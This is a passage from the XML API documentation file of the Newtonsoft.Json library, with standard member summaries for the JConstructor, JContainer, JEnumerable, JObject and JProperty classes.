     <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JContainer\">\n            <summary>\n            Represents a token that can contain other tokens.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\">\n            <summary>\n            Occurs when the list changes or an item in the list changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\">\n            <summary>\n            Occurs before an item is added to the collection.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\">\n            <summary>\n            Occurs when the items list of the collection has changed, or the collection is reset.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnAddingNew(System.ComponentModel.AddingNewEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.AddingNewEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnListChanged(System.ComponentModel.ListChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.ListChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnCollectionChanged(System.Collections.Specialized.NotifyCollectionChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.Collections.Specialized.NotifyCollectionChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>\n            An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Descendants\">\n            <summary>\n            Returns a collection of the descendant tokens for this token in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.DescendantsAndSelf\">\n            <summary>\n            Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing this token, and all the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Add(System.Object)\">\n            <summary>\n            Adds the specified content as children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.AddFirst(System.Object)\">\n            <summary>\n            Adds the specified content as the first children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.CreateWriter\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that can be used to add tokens to the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that is ready to have content written to it.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.ReplaceAll(System.Object)\">\n            <summary>\n            Replaces the child nodes of this token with the specified content.\n            </summary>\n            <param name=\"content\">The content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.RemoveAll\">\n            <summary>\n            Removes the child nodes from this token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object,Newtonsoft.Json.Linq.JsonMergeSettings)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> used to merge the content.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Count\">\n            <summary>\n            Gets the count of child JSON tokens.\n            </summary>\n            <value>The count of child JSON tokens.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JEnumerable`1.Empty\">\n            <summary>\n            An empty collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.#ctor(System.Collections.Generic.IEnumerable{`0})\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> struct.\n            </summary>\n            <param name=\"enumerable\">The enumerable.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(Newtonsoft.Json.Linq.JEnumerable{`0})\">\n            <summary>\n            Determines whether the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance.\n            </summary>\n            <param name=\"other\">The <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to this instance.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetHashCode\">\n            <summary>\n            Returns a hash code for this instance.\n            </summary>\n            <returns>\n            A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. \n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JObject\">\n            <summary>\n            Represents a JSON object.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\">\n            <summary>\n            Occurs when a property value changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\">\n            <summary>\n            Occurs when a property value is changing.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(Newtonsoft.Json.Linq.JObject)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Properties\">\n            <summary>\n            Gets an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            The exact name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> matched with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.PropertyValues\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.String)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,System.StringComparison,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Add(System.String,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.ContainsKey(System.String)\">\n            <summary>\n            Determines whether the JSON object has the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if the JSON object has the specified property name; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Remove(System.String)\">\n            <summary>\n            Removes the property with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if item was successfully removed; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanged(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanging(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JProperty\">\n            <summary>\n            Represents a JSON property.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation 